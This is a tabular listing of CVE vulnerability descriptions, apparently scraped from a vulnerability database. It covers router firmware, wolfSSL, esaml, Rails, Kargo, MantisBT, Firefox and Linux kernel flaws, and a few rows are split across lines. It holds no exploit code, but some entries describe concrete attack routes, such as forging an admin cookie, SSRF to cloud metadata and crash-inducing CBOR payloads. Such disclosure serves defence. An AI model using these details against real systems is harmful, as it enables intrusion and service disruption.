CVE-2026-31847	Hidden functionality in the /goform/setSysTools endpoint in Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 allows remote enablement of a Telnet service. Once enabled, the service exposes a privileged diagnostic management interface over the network, increasing the attack surface and enabling further compromise of the device.	N/A	More Details
CVE-2026-31848	Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 stores administrative authentication material in the ecos_pw cookie using a reversible Base64-encoded format with a static suffix. An attacker who obtains or derives this cookie value can forge a valid administrative session and gain unauthorized access to the device.	N/A	More Details
CVE-2026-31849	Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 does not implement CSRF protections on state-changing administrative endpoints. A remote attacker can induce an authenticated administrator to submit crafted requests that modify device settings, including security-relevant configuration, without the administrator's intent.	N/A	More Details
CVE-2026-31850	Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 stores sensitive information, including administrative credentials and WiFi pre-shared keys, in plaintext within exported configuration backup files.	N/A	More Details
CVE-2026-31851	Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 does not implement rate limiting or account lockout on the authentication interface.	N/A	More Details
CVE-2026-28809	XML External Entity (XXE) vulnerability in esaml (and its forks) allows an attacker to cause the system to read local files and incorporate their contents into processed SAML documents, and potentially perform SSRF via crafted SAML messages. esaml parses attacker-controlled SAML messages using xmerl_scan:string/2 before signature verification without disabling XML entity expansion. On Erlang/OTP versions before 27, Xmerl allows entities by default, enabling pre-signature XXE attacks. An attacker can cause the host to read local files (e.g., Kubernetes-mounted secrets) into the SAML document. If the attacker is not a trusted SAML SP, signature verification will fail and the document is discarded, but file contents may still be exposed through logs or error messages. This issue affects all versions of esaml, including forks by arekinath, handnot2, and dropbox. Users running on Erlang/OTP 27 or later are not affected due to Xmerl defaulting to entities disabled.	N/A	More Details
CVE-2026-3229	An integer overflow vulnerability existed in the static function wolfssl_add_to_chain, that caused heap corruption when certificate data was written out of bounds of an insufficiently sized certificate buffer. wolfssl_add_to_chain is called by these API: wolfSSL_CTX_add_extra_chain_cert, wolfSSL_CTX_add1_chain_cert, wolfSSL_add0_chain_cert. These API are enabled for 3rd party compatibility features: enable-opensslall, enable-opensslextra, enable-lighty, enable-stunnel, enable-nginx, enable-haproxy. This issue is not remotely exploitable, and would require that the application context loading certificates is compromised.	N/A	More Details
CVE-2025-41008	SQL injection vulnerability in Sinturno. This vulnerability allows an attacker to retrieve, create, update, and delete databases through the 'client' parameter in the '/_adm/scripts/modalReport_data.php' endpoint.	N/A	More Details
CVE-2026-	Missing required cryptographic step in the TLS 1.3 client HelloRetryRequest handshake logic in wolfSSL could lead to a compromise in the confidentiality of TLS-protected communications via a crafted HelloRetryRequest followed by a ServerHello message that omits the required key_share extension, resulting in derivation of predictable	N/A	More Details

3230	traffic secrets from (EC)DHE shared secret. This issue does not affect the client's authentication of the server during TLS handshakes.		
CVE-2026-30924	qui is a web interface for managing qBittorrent instances. Versions 1.14.1 and below use a permissive CORS policy that reflects arbitrary origins while also returning Access-Control-Allow-Credentials: true, effectively allowing any external webpage to make authenticated requests on behalf of a logged-in user. An attacker can exploit this by tricking a victim into loading a malicious webpage, which silently interacts with the application using the victim's session and potentially exfiltrating sensitive data such as API keys and account credentials, or even achieving full system compromise through the built-in External Programs manager. Exploitation requires that the victim access the application via a non-localhost hostname and load an attacker-controlled webpage, making highly targeted social-engineering attacks the most likely real-world scenario. This issue was not fixed at the time of publication.	N/A	More Details
CVE-2026-3549	Heap Overflow in TLS 1.3 ECH parsing. An integer underflow existed in ECH extension parsing logic when calculating a buffer length, which resulted in writing beyond the bounds of an allocated buffer. Note that in wolfSSL, ECH is off by default, and the ECH standard is still evolving.	N/A	More Details
CVE-2026-3849	Stack Buffer Overflow in wc_HpkeLabeledExtract via Oversized ECH Config. A vulnerability existed in wolfSSL 5.8.4 ECH (Encrypted Client Hello) support, where a maliciously crafted ECH config could cause a stack buffer overflow on the client side, leading to potential remote execution and client program crash. This could be exploited by a malicious TLS server supporting ECH. Note that ECH is off by default, and is only enabled with enable-ech.	N/A	More Details
CVE-2026-4395	Heap-based buffer overflow in the KCAPI ECC code path of wc_ecc_import_x963_ex() in wolfSSL wolfcrypt allows a remote attacker to write attacker-controlled data past the bounds of the pubkey_raw buffer via a crafted oversized EC public key point. The WOLFSSL_KCAPI_ECC code path copies the input to key->pubkey_raw (132 bytes) using XMEMCPY without a bounds check, unlike the ATECC code path which includes a length validation. This can be triggered during TLS key exchange when a malicious peer sends a crafted ECPoint in ServerKeyExchange.	N/A	More Details
CVE-2026-27934	Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have a lack of visibility checks with a user action API endpoint that results in disclosure of the title and post excerpt to unauthorized users, leading to information disclosure. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	N/A	More Details
CVE-2026-4606	GV Edge Recording Manager (ERM) v2.3.1 improperly runs application components with SYSTEM-level privileges, allowing any local user to gain full control of the operating system. During installation, ERM creates a Windows service that runs under the LocalSystem account. When the ERM application is launched, related processes are spawned under SYSTEM privileges rather than the security context of the logged-in user. Functions such as 'Import Data' open a Windows file dialog operating with SYSTEM permissions, enabling modification or deletion of protected system files and directories. Any ERM function invoking Windows file open/save dialogs exposes the same risk. This vulnerability allows local privilege escalation and may result in full system compromise.	N/A	More Details
CVE-2026-3503	Protection mechanism failure in wolfCrypt post-quantum implementations (ML-KEM and ML-DSA) in wolfSSL on ARM Cortex-M microcontrollers allows a physical attacker to compromise key material and/or cryptographic outcomes via induced transient faults that corrupt or redirect seed/pointer values during Keccak-based expansion. This issue affects wolfSSL (wolfCrypt): commit hash d86575c766e6e67ef93545fa69c04d6eb49400c6.	N/A	More Details
CVE-2025-15517	A missing authentication check in the HTTP server on TP-Link Archer NX200, NX210, NX500 and NX600 to certain cgi endpoints allows unauthenticated access intended for authenticated users. An attacker may perform privileged HTTP actions without authentication, including firmware upload and configuration operations.	N/A	More Details
CVE-2025-15518	Improper input handling in a wireless-control administrative CLI command on TP-Link Archer NX200, NX210, NX500 and NX600 allows crafted input to be executed as part of an operating system command. An authenticated attacker with administrative privileges may execute arbitrary commands on the operating system, impacting the confidentiality, integrity, and availability of the device.	N/A	More Details
CVE-2025-15519	Improper input handling in a modem-management administrative CLI command on TP-Link Archer NX200, NX210, NX500 and NX600 allows crafted input to be executed as part of an operating system command. An authenticated attacker with administrative privileges may execute arbitrary commands on the operating system, impacting the confidentiality, integrity, and availability of the device.	N/A	More Details
CVE-2025-15605	A hardcoded cryptographic key within the configuration mechanism on TP-Link Archer NX200, NX210, NX500 and NX600 enables decryption and re-encryption of device configuration data. An authenticated attacker may decrypt configuration files, modify them, and re-encrypt them, affecting the confidentiality and integrity of device configuration data.	N/A	More Details
CVE-2026-3548	Two buffer overflow vulnerabilities existed in the wolfSSL CRL parser when parsing CRL numbers: a heap-based buffer overflow could occur when improperly storing the CRL number as a hexadecimal string, and a stack-based overflow for sufficiently sized CRL numbers. With appropriately crafted CRLs, either of these out of bound writes could be triggered. Note this only affects builds that specifically enable CRL support, and the user would need to load a CRL from an untrusted source.	N/A	More Details
CVE-2025-15606	A Denial-of-Service (DoS) vulnerability in the httpd component of TP-Link's TD-W8961N v4.0 due to improper input sanitization, allows crafted requests to trigger a processing error that causes the httpd service to crash. Successful exploitation may allow the attacker to cause service interruption, resulting in a DoS condition.	N/A	More Details
	An arbitrary file-write vulnerability in Pega Browser Extension (PBE) affects Pega Robot Studio developers who are		

CVE-2026-0898	automating Google Chrome and Microsoft Edge using either version 22.1 or R25. This vulnerability does not affect Robot Runtime users. A bad actor could create a website that includes malicious code. The vulnerability may be exploited if a Pega Robot Studio developer is deceived into visiting this website during interrogation mode in Robot Studio.	N/A	More Details
CVE-2026-2646	A heap-buffer-overflow vulnerability exists in wolfSSL's wolfSSL_d2i_SSL_SESSION() function. When deserializing session data with SESSION_CERTS enabled, certificate and session id lengths are read from an untrusted input without bounds validation, allowing an attacker to overflow fixed-size buffers and corrupt heap memory. A maliciously crafted session would need to be loaded from an external source to trigger this vulnerability. Internal sessions were not vulnerable.	N/A	More Details
CVE-2026-26209	cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) serialization format. Versions prior to 5.9.0 are vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding deeply nested CBOR structures. This vulnerability affects both the pure Python implementation and the C extension `_cbor2`. The C extension relies on Python's internal recursion limits `Py_EnterRecursiveCall` rather than a data-driven depth limit, meaning it still raises `RecursionError` and crashes the worker process when the limit is hit. While the library handles moderate nesting levels, it lacks a hard depth limit. An attacker can supply a crafted CBOR payload containing approximately 100,000 nested arrays `0x81`. When `cbor2.loads()` attempts to parse this, it hits the Python interpreter's maximum recursion depth or exhausts the stack, causing the process to crash with a `RecursionError`. Because the library does not enforce its own limits, it allows an external attacker to exhaust the host application's stack resource. In many web application servers (e.g., Gunicorn, Uvicorn) or task queues (Celery), an unhandled `RecursionError` terminates the worker process immediately. By sending a stream of these small (<100KB) malicious packets, an attacker can repeatedly crash worker processes, resulting in a complete Denial of Service for the application. Version 5.9.0 patches the issue.	N/A	More Details
CVE-2026-2645	In wolfSSL 5.8.2 and earlier, a logic flaw existed in the TLS 1.2 server state machine implementation. The server could incorrectly accept the CertificateVerify message before the ClientKeyExchange message had been received. This issue affects wolfSSL before 5.8.4 (wolfSSL 5.8.2 and earlier is vulnerable, 5.8.4 is not vulnerable). In 5.8.4 wolfSSL would detect the issue later in the handshake. 5.9.0 was further hardened to catch the issue earlier in the handshake.	N/A	More Details
CVE-2026-1005	Integer underflow in wolfSSL packet sniffer <= 5.8.4 allows an attacker to cause a buffer overflow in the AEAD decryption path by injecting a TLS record shorter than the explicit IV plus authentication tag into traffic inspected by ssl_DecodePacket. The underflow wraps a 16-bit length to a large value that is passed to AEAD decryption routines, causing heap buffer overflow and a crash. An unauthenticated attacker can trigger this remotely via malformed TLS Application Data records.	N/A	More Details
CVE-2026-0819	A stack buffer overflow vulnerability exists in wolfSSL's PKCS7 SignedData encoding functionality. In wc_PKCS7_BuildSignedAttributes(), when adding custom signed attributes, the code passes an incorrect capacity value (esd->signedAttribsCount) to EncodeAttributes() instead of the remaining available space in the fixed-size signedAttribs[7] array. When an application sets pkcs7->signedAttribsSz to a value greater than MAX_SIGNED_ATTRIBS_SZ (default 7) minus the number of default attributes already added, EncodeAttributes() writes beyond the array bounds, causing stack memory corruption. In WOLFSSL_SMALL_STACK builds, this becomes heap corruption. Exploitation requires an application that allows untrusted input to control the signedAttribs array size when calling wc_PKCS7_EncodeSignedData() or related signing functions.	N/A	More Details
CVE-2026-30849	Mantis Bug Tracker (MantisBT) is an open source issue tracker. Versions prior to 2.28.1 running on MySQL family databases are affected by an authentication bypass vulnerability in the SOAP API, as a result of an improper type checking on the password parameter. Other database backends are not affected, as they do not perform implicit type conversion from string to integer. Using a crafted SOAP envelope, an attacker knowing the victim's username is able to login to the SOAP API with their account without knowledge of the actual password, and execute any API function they have access to. Version 2.28.1 contains a patch. Disabling the SOAP API significantly reduces the risk, but still allows the attacker to retrieve user account information including email address and real name.	N/A	More Details
CVE-2026-33167	Action Pack is a Rubygem for building web applications on the Rails framework. In versions on the 8.1 branch prior to 8.1.2.1, the debug exceptions page does not properly escape exception messages. A carefully crafted exception message could inject arbitrary HTML and JavaScript into the page, leading to XSS. This affects applications with detailed exception pages enabled (`config.consider_all_requests_local = true`), which is the default in development. Version 8.1.2.1 contains a patch.	N/A	More Details
CVE-2026-33168	Action View provides conventions and helpers for building web pages with the Rails framework. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, when a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.	N/A	More Details
CVE-2026-32771	The CTFer.io Monitoring component is in charge of the collection, process and storage of various signals (i.e. logs, metrics and distributed traces). In versions prior to 0.2.2, the sanitizeArchivePath function in pkg/extract/extract.go (lines 248–254) is vulnerable to Path Traversal due to a missing trailing path separator in the strings.HasPrefix check. The extractor allows arbitrary file writes (e.g., overwriting shell configs, SSH keys, kubeconfig, or crontabs), enabling RCE and persistent backdoors. The attack surface is further amplified by the default ReadWriteMany PVC access mode, which lets any pod in the cluster inject a malicious payload. This issue has been fixed in version 0.2.2.	N/A	More Details

CVE-2026-32828	Kargo manages and automates the promotion of software artifacts. In versions 1.4.0 through 1.6.3, 1.7.0-rc.1 through 1.7.8, 1.8.0-rc.1 through 1.8.11, and 1.9.0-rc.1 through 1.9.4, the http and http-download promotion steps allow Server-Side Request Forgery (SSRF) against link-local addresses, most critically the cloud instance metadata endpoint (169.254.169.254), enabling exfiltration of sensitive data such as IAM credentials. These steps provide full control over request headers and methods, rendering cloud provider header-based SSRF mitigations ineffective. An authenticated attacker with permissions to create/update Stages or craft Promotion resources can exploit this by submitting a malicious Promotion manifest, with response data retrievable via Promotion status fields, Git repositories, or a second http step. This issue has been fixed in versions 1.6.4, 1.7.9, 1.8.12 and 1.9.5.	N/A	More Details
CVE-2026-23264	In the Linux kernel, the following vulnerability has been resolved: Revert "drm/amd: Check if ASPM is enabled from PCIe subsystem" This reverts commit 7294863a6f01248d72b61d38478978d638641bee. This commit was erroneously applied again after commit 0ab5d711ec74 ("drm/amd: Refactor `amdgpu_aspm` to be evaluated per device") removed it, leading to very hard to debug crashes, when used with a system with two AMD GPUs of which only one supports ASPM. (cherry picked from commit 97a9689300eb2b393ba5efc17c8e5db835917080)	N/A	More Details
CVE-2026-23263	In the Linux kernel, the following vulnerability has been resolved: io_uring/zcrx: fix page array leak d9f595b9a65e ("io_uring/zcrx: fix leaking pages on sg init fail") fixed a page leakage but didn't free the page array, release it as well.	N/A	More Details
CVE-2026-23262	In the Linux kernel, the following vulnerability has been resolved: gve: Fix stats report corruption on queue count change The driver and the NIC share a region in memory for stats reporting. The NIC calculates its offset into this region based on the total size of the stats region and the size of the NIC's stats. When the number of queues is changed, the driver's stats region is resized. If the queue count is increased, the NIC can write past the end of the allocated stats region, causing memory corruption. If the queue count is decreased, there is a gap between the driver and NIC stats, leading to incorrect stats reporting. This change fixes the issue by allocating stats region with maximum size, and the offset calculation for NIC stats is changed to match with the calculation of the NIC.	N/A	More Details
CVE-2026-32642	Incorrect Authorization (CWE-863) vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue" permission but does not have the "createAddress" permission and address auto-creation is disabled. In this circumstance, a temporary address will be created whereas the attempt to create the non-durable subscription should instead fail since the user is not authorized to create the corresponding address. When the OpenWire connection is closed the address is removed. This issue affects Apache Artemis: from 2.50.0 through 2.52.0; Apache ActiveMQ Artemis: from 2.0.0 through 2.44.0. Users are recommended to upgrade to version 2.53.0, which fixes the issue.	N/A	More Details
CVE-2026-23261	In the Linux kernel, the following vulnerability has been resolved: nvme-fc: release admin tagset if init fails nvme_fabrics creates an NVMe/FC controller in following path: nvmf_dev_write() -> nvmf_create_ctrl() -> nvme_fc_create_ctrl() -> nvme_fc_init_ctrl() nvme_fc_init_ctrl() allocates the admin blk-mq resources right after nvme_add_ctrl() succeeds. If any of the subsequent steps fail (changing the controller state, scheduling connect work, etc.), we jump to the fail_ctrl path, which tears down the controller references but never frees the admin queue/tag set. The leaked blk-mq allocations match the kmemleak report seen during blktests nvme/fc. Check ctrl->ctrl.admin_tagset in the fail_ctrl path and call nvme_remove_admin_tag_set() when it is set so that all admin queue allocations are reclaimed whenever controller setup aborts.	N/A	More Details
CVE-2026-4649	Apache Artemis before version 2.52.0 is affected by an authentication bypass flaw which allows reading all messages exchanged via the broker and injection of new message (CVE-2026-27446 https://www.cve.org/CVERecord). Since KNIME Business Hub uses Apache Artemis it is also affected by the issue. However, since Apache Artemis is not exposed to the outside it requires at least normal user privileges and the ability to execute workflows in an executor. Such a user can install and register a federated mirror without authentication to the original Apache Artemis instance and thereby read all internal messages and inject new messages. The issue affects all versions of KNIME Business Hub. A fixed version of Apache Artemis is shipped with versions 1.18.0, 1.17.4, and 1.16.3. We recommend updating to a fixed version as soon as possible since no workaround is known.	N/A	More Details
CVE-2026-23260	In the Linux kernel, the following vulnerability has been resolved: regmap: maple: free entry on mas_store_gfp() failure regcache_maple_write() allocates a new block ('entry') to merge adjacent ranges and then stores it with mas_store_gfp(). When mas_store_gfp() fails, the new 'entry' remains allocated and is never freed, leaking memory. Free 'entry' on the failure path; on success continue freeing the replaced neighbor blocks ('lower', 'upper').	N/A	More Details
CVE-2026-23259	In the Linux kernel, the following vulnerability has been resolved: io_uring/rw: free potentially allocated iovec on cache put failure If a read/write request goes through io_req_rw_cleanup() and has an allocated iovec attached and fails to put to the rw_cache, then it may end up with an unaccounted iovec pointer. Have io_rw_recycle() return whether it recycled the request or not, and use that to gauge whether to free a potential iovec or not.	N/A	More Details
CVE-2026-23258	In the Linux kernel, the following vulnerability has been resolved: net: liquidio: Initialize netdev pointer before queue setup In setup_nic_devices(), the netdev is allocated using alloc_etherdev_mq(). However, the pointer to this structure is stored in oct->props[i].netdev only after the calls to netif_set_real_num_rx_queues() and netif_set_real_num_tx_queues(). If either of these functions fails, setup_nic_devices() returns an error without freeing the allocated netdev. Since oct->props[i].netdev is still NULL at this point, the cleanup function liquidio_destroy_nic_device() will fail to find and free the netdev, resulting in a memory leak. Fix this by initializing oct->props[i].netdev before calling the queue setup functions. This ensures that the netdev is properly accessible for cleanup in case of errors. Compile tested only. Issue found using a prototype static analysis tool and code	N/A	More Details

	review.		
CVE-2026-23257	In the Linux kernel, the following vulnerability has been resolved: net: liquidio: Fix off-by-one error in PF setup_nic_devices() cleanup In setup_nic_devices(), the initialization loop jumps to the label setup_nic_dev_free on failure. The current cleanup loop while(i--) skip the failing index i, causing a memory leak. Fix this by changing the loop to iterate from the current index i down to 0. Also, decrement i in the devlink_alloc failure path to point to the last successfully allocated index. Compile tested only. Issue found using code review.	N/A	More Details
CVE-2026-23256	In the Linux kernel, the following vulnerability has been resolved: net: liquidio: Fix off-by-one error in VF setup_nic_devices() cleanup In setup_nic_devices(), the initialization loop jumps to the label setup_nic_dev_free on failure. The current cleanup loop while(i--) skip the failing index i, causing a memory leak. Fix this by changing the loop to iterate from the current index i down to 0. Compile tested only. Issue found using code review.	N/A	More Details
CVE-2026-23255	In the Linux kernel, the following vulnerability has been resolved: net: add proper RCU protection to /proc/net/ptype Yin Fengwei reported an RCU stall in ptype_seq_show() and provided a patch. Real issue is that ptype_seq_next() and ptype_seq_show() violate RCU rules. ptype_seq_show() runs under rcu_read_lock(), and reads pt->dev to get device name without any barrier. At the same time, concurrent writers can remove a packet_type structure (which is correctly freed after an RCU grace period) and clear pt->dev without an RCU grace period. Define ptype_iter_state to carry a dev pointer along seq_net_private: struct ptype_iter_state { struct seq_net_private p; struct net_device *dev; // added in this patch }; We need to record the device pointer in ptype_get_idx() and ptype_seq_next() so that ptype_seq_show() is safe against concurrent pt->dev changes. We also need to add full RCU protection in ptype_seq_next(). (Missing READ_ONCE() when reading list.next values) Many thanks to Dong Chenchen for providing a repro.	N/A	More Details
CVE-2026-23254	In the Linux kernel, the following vulnerability has been resolved: net: gro: fix outer network offset The udp GRO complete stage assumes that all the packets inserted the RX have the `encapsulation` flag zeroed. Such assumption is not true, as a few H/W NICs can set such flag when H/W offloading the checksum for an UDP encapsulated traffic, the tun driver can inject GSO packets with UDP encapsulation and the problematic layout can also be created via a veth based setup. Due to the above, in the problematic scenarios, udp4_gro_complete() uses the wrong network offset (inner instead of outer) to compute the outer UDP header pseudo checksum, leading to csum validation errors later on in packet processing. Address the issue always clearing the encapsulation flag at GRO completion time. Such flag will be set again as needed for encapsulated packets by udp_gro_complete().	N/A	More Details
CVE-2026-23253	In the Linux kernel, the following vulnerability has been resolved: media: dvb-core: fix wrong reinitialization of ringbuffer on reopen dvb_dvr_open() calls dvb_ringbuffer_init() when a new reader opens the DVR device. dvb_ringbuffer_init() calls init_waitqueue_head(), which reinitializes the waitqueue list head to empty. Since dmxdev->dvr_buffer.queue is a shared waitqueue (all opens of the same DVR device share it), this orphans any existing waitqueue entries from io_uring poll or epoll, leaving them with stale prev/next pointers while the list head is reset to {self, self}. The waitqueue and spinlock in dvr_buffer are already properly initialized once in dvb_dmxdev_init(). The open path only needs to reset the buffer data pointer, size, and read/write positions. Replace the dvb_ringbuffer_init() call in dvb_dvr_open() with direct assignment of data/size and a call to dvb_ringbuffer_reset(), which properly resets pread, pwrite, and error with correct memory ordering without touching the waitqueue or spinlock.	N/A	More Details
CVE-2026-23252	In the Linux kernel, the following vulnerability has been resolved: xfs: get rid of the xchk_xfile_*_descr calls The xchk_xfile_*_descr macros call kasprintf, which can fail to allocate memory if the formatted string is larger than 16 bytes (or whatever the nofail guarantees are nowadays). Some of them could easily exceed that, and Jiaming Zhang found a few places where that can happen with syzbot. The descriptions are debugging aids and aren't required to be unique, so let's just pass in static strings and eliminate this path to failure. Note this patch touches a number of commits, most of which were merged between 6.6 and 6.14.	N/A	More Details
CVE-2026-23251	In the Linux kernel, the following vulnerability has been resolved: xfs: only call xf{array,blob}_destroy if we have a valid pointer Only call the xfarray and xfblob destructor if we have a valid pointer, and be sure to null out that pointer afterwards. Note that this patch fixes a large number of commits, most of which were merged between 6.9 and 6.10.	N/A	More Details
CVE-2026-23250	In the Linux kernel, the following vulnerability has been resolved: xfs: check return value of xchk_scrub_create_subord Fix this function to return NULL instead of a mangled ENOMEM, then fix the callers to actually check for a null pointer and return ENOMEM. Most of the corrections here are for code merged between 6.2 and 6.10.	N/A	More Details
CVE-2026-23249	In the Linux kernel, the following vulnerability has been resolved: xfs: check for deleted cursors when revalidating two btrees The free space and inode btree repair functions will rebuild both btrees at the same time, after which it needs to evaluate both btrees to confirm that the corruptions are gone. However, Jiaming Zhang ran syzbot and produced a crash in the second xchk_allocbt call. His root-cause analysis is as follows (with minor corrections): In xrep_revalidate_allocbt(), xchk_allocbt() is called twice (first for BNOBT, second for CNTBT). The cause of this issue is that the first call nullified the cursor required by the second call. Let's first enter xrep_revalidate_allocbt() via following call chain: xfs_file_ioctl() -> xfs_ioc_scrubv_metadata() -> xfs_scrub_metadata() -> `sc->ops->repair_eval(sc)` -> xrep_revalidate_allocbt() xchk_allocbt() is called twice in this function. In the first call: /* Note that sc->sm->sm_type is XFS_SCRUB_TYPE_BNOPT now */ xchk_allocbt() -> xchk_btree() -> `bs->scrub_rec(bs, recp)` -> xchk_allocbt_rec() -> xchk_allocbt_xref() -> xchk_allocbt_xref_other() since sm_type is XFS_SCRUB_TYPE_BNOBT, pur is set to &sc->sa.cnt_cur. Kernel called xfs_alloc_get_rec() and returned - EFSCORRUPTED. Call chain: xfs_alloc_get_rec() -> xfs_btree_get_rec() -> xfs_btree_check_block() -> (XFS_IS_CORRUPT || XFS_TEST_ERROR), the former is false and the latter is true, return -EFSCORRUPTED. This	N/A	More Details

	should be caused by ioctl$XFS_IOC_ERROR_INJECTION I guess. Back to xchk_allocbt_xref_other(), after receiving -EFSCORRUPTED from xfs_alloc_get_rec(), kernel called xchk_should_check_xref(). In this function, *curpp (points to sc->sa.cnt_cur) is nullified. Back to xrep_revalidate_allocbt(), since sc->sa.cnt_cur has been nullified, it then triggered null-ptr-deref via xchk_allocbt() (second call) -> xchk_btree(). So. The bnobt revalidation failed on a cross-reference attempt, so we deleted the cntbt cursor, and then crashed when we tried to revalidate the cntbt. Therefore, check for a null cntbt cursor before that revalidation, and mark the repair incomplete. Also we can ignore the second tree entirely if the first tree was rebuilt but is already corrupt. Apply the same fix to xrep_revalidate_iallocbt because it has the same problem.		
CVE-2025-71270	In the Linux kernel, the following vulnerability has been resolved: LoongArch: Enable exception fixup for specific ADE subcode This patch allows the LoongArch BPF JIT to handle recoverable memory access errors generated by BPF_PROBE_MEM* instructions. When a BPF program performs memory access operations, the instructions it executes may trigger ADEM exceptions. The kernel’s built-in BPF exception table mechanism (EX_TYPE_BPF) will generate corresponding exception fixup entries in the JIT compilation phase; however, the architecture-specific trap handling function needs to proactively call the common fixup routine to achieve exception recovery. do_ade(): fix EX_TYPE_BPF memory access exceptions for BPF programs, ensure safe execution. Relevant test cases: illegal address access tests in module_attach and subprogs_extable of selftests/bpf.	N/A	More Details
CVE-2025-71269	In the Linux kernel, the following vulnerability has been resolved: btrfs: do not free data reservation in fallback from inline due to -ENOSPC If we fail to create an inline extent due to -ENOSPC, we will attempt to go through the normal COW path, reserve an extent, create an ordered extent, etc. However we were always freeing the reserved qgroup data, which is wrong since we will use data. Fix this by freeing the reserved qgroup data in __cow_file_range_inline() only if we are not doing the fallback (ret is <= 0).	N/A	More Details
CVE-2025-71268	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix reservation leak in some error paths when inserting inline extent If we fail to allocate a path or join a transaction, we return from __cow_file_range_inline() without freeing the reserved qgroup data, resulting in a leak. Fix this by ensuring we call btrfs_qgroup_free_data() in such cases.	N/A	More Details
CVE-2025-64998	Exposure of session signing secret in Checkmk <2.4.0p23, <2.3.0p45 and 2.2.0 allows an administrator of a remote site with config sync enabled to hijack sessions on the central site by forging session cookies.	N/A	More Details
CVE-2026-32953	Tillitis TKey Client package is a Go package for a TKey client. Versions 1.2.0 and below contain a critical bug in the tkeyclient Go module which causes 1 out of every 256 User Supplied Secrets (USS) to be silently ignored, producing the same Compound Device Identifier (CDI)—and thus the same key material—as if no USS is provided. This happens because a buffer index error overwrites the USS-enabled boolean with the first byte of the USS digest, so any USS whose hash starts with 0x00 is effectively discarded. This issue has been fixed in version 1.3.0. Users unable to upgrade immediately should switch to a USS whose hash does not begin with a zero byte.	N/A	More Details
CVE-2026-33423	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, staff can modify any user's group notification level. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	N/A	More Details
CVE-2026-4689	Sandbox escape due to incorrect boundary conditions, integer overflow in the XPCOM component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	N/A	More Details
CVE-2026-4692	Sandbox escape in the Responsive Design Mode component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	N/A	More Details
CVE-2026-4694	Incorrect boundary conditions, integer overflow in the Graphics component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	N/A	More Details
CVE-2026-23248	In the Linux kernel, the following vulnerability has been resolved: perf/core: Fix refcount bug and potential UAF in perf_mmap Syzkaller reported a refcount_t: addition on 0; use-after-free warning in perf_mmap. The issue is caused by a race condition between a failing mmap() setup and a concurrent mmap() on a dependent event (e.g., using output redirection). In perf_mmap(), the ring_buffer (rb) is allocated and assigned to event->rb with the mmap_mutex held. The mutex is then released to perform map_range(). If map_range() fails, perf_mmap_close() is called to clean up. However, since the mutex was dropped, another thread attaching to this event (via inherited events or output redirection) can acquire the mutex, observe the valid event->rb pointer, and attempt to increment its reference count. If the cleanup path has already dropped the reference count to zero, this results in a use-after-free or refcount saturation warning. Fix this by extending the scope of mmap_mutex to cover the map_range() call. This ensures that the ring buffer initialization and mapping (or cleanup on failure) happens atomically effectively, preventing other threads from accessing a half-initialized or dying ring buffer.	N/A	More Details
CVE-2026-23247	In the Linux kernel, the following vulnerability has been resolved: tcp: secure_seq: add back ports to TS offset This reverts 28ee1b746f49 ("secure_seq: downgrade to per-host timestamp offsets") tcp_tw_recycle went away in 2017. Zhouyan Deng reported off-path TCP source port leakage via SYN cookie side-channel that can be fixed in multiple ways. One of them is to bring back TCP ports in TS offset randomization. As a bonus, we perform a single siphash() computation to provide both an ISN and a TS offset.	N/A	More Details

CVE-2026-23265	In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on node footer in {read,write}_end_io ----------[cut here]---------- kernel BUG at fs/f2fs/data.c:358! Call Trace: <IRQ> blk_update_request+0x5eb/0xe70 block/blk-mq.c:987 blk_mq_end_request+0x3e/0x70 block/blk-mq.c:1149 blk_complete_reqs block/blk-mq.c:1224 [inline] blk_done_softirq+0x107/0x160 block/blk-mq.c:1229 handle_softirqs+0x283/0x870 kernel/softirq.c:579 __do_softirq kernel/softirq.c:613 [inline] invoke_softirq kernel/softirq.c:453 [inline] __irq_exit_rcu+0xca/0x1f0 kernel/softirq.c:680 irq_exit_rcu+0x9/0x30 kernel/softirq.c:696 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1050 [inline] sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1050 </IRQ> In f2fs_write_end_io(), it detects there is inconsistency in between node page index (nid) and footer.nid of node page. If footer of node page is corrupted in fuzzed image, then we load corrupted node page w/ async method, e.g. f2fs_ra_node_pages() or f2fs_ra_node_page(), in where we won't do sanity check on node footer, once node page becomes dirty, we will encounter this bug after node page writeback.	N/A	More Details
